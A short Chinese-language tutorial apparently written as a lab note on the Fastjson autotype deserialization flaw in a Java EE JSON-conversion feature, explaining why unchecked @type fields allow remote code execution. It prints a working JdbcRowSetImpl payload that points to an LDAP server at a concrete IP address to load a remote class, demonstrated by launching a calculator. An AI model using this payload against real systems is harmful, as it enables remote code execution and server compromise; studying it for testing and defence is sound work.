目录
javaee开发一个json转换功能,接受用户提交的JSON数据进行转换,转换的内容是ldap的远程执行class文件的地址,然后这个转换功能是用fastjson组件实现的,但是fastjson存在漏洞,漏洞就是在json数据转换时产生的fastjson反序列化漏洞,因为autotype处理Json对象的时候,未对@type字段进行完整的安全性验证,攻击者可以传入危险类,并调用危险类连接远程RMI主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞,获取服务器敏感信息,甚至可以利用此漏洞进一步的对服务器数据进行操作。
生成远程调用的一个地址,可以在47.94.236.117上面调用计算器:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName": "ldap://47.94.236.117:1389/wktunx","autoCommit":true}
含义解释:@type指向com.sun. rowset. JdbcRowSetImpl,对项目中的com.sun.rowset.路径下的JdbcRowSetImpl文件里面的数据进行转换,其中"dataSourceName" 换成"ldap://47.94.236.117:1389/wktunx" , "autoCommit"换成true,替换完成后,dbcRowSetImpl文件可以调用ldap协议,可以执行ldap://47.94.236.117:1389/wktunx,就是运行计算器的功能,com.sun.rowset.JdbcRowSetImpl.execute ()可以实现:InitialContext.lookup ()类,同样也就可以使用rmi,ldap,不只有InitialContext.lookup ()类可以调用rmi和ldap
在这提交:
回显500弹出计算器
rmi和ldap会被jdk的版本限制,对于有的jdk版本ldap可以利用成功,rmi利用不成功。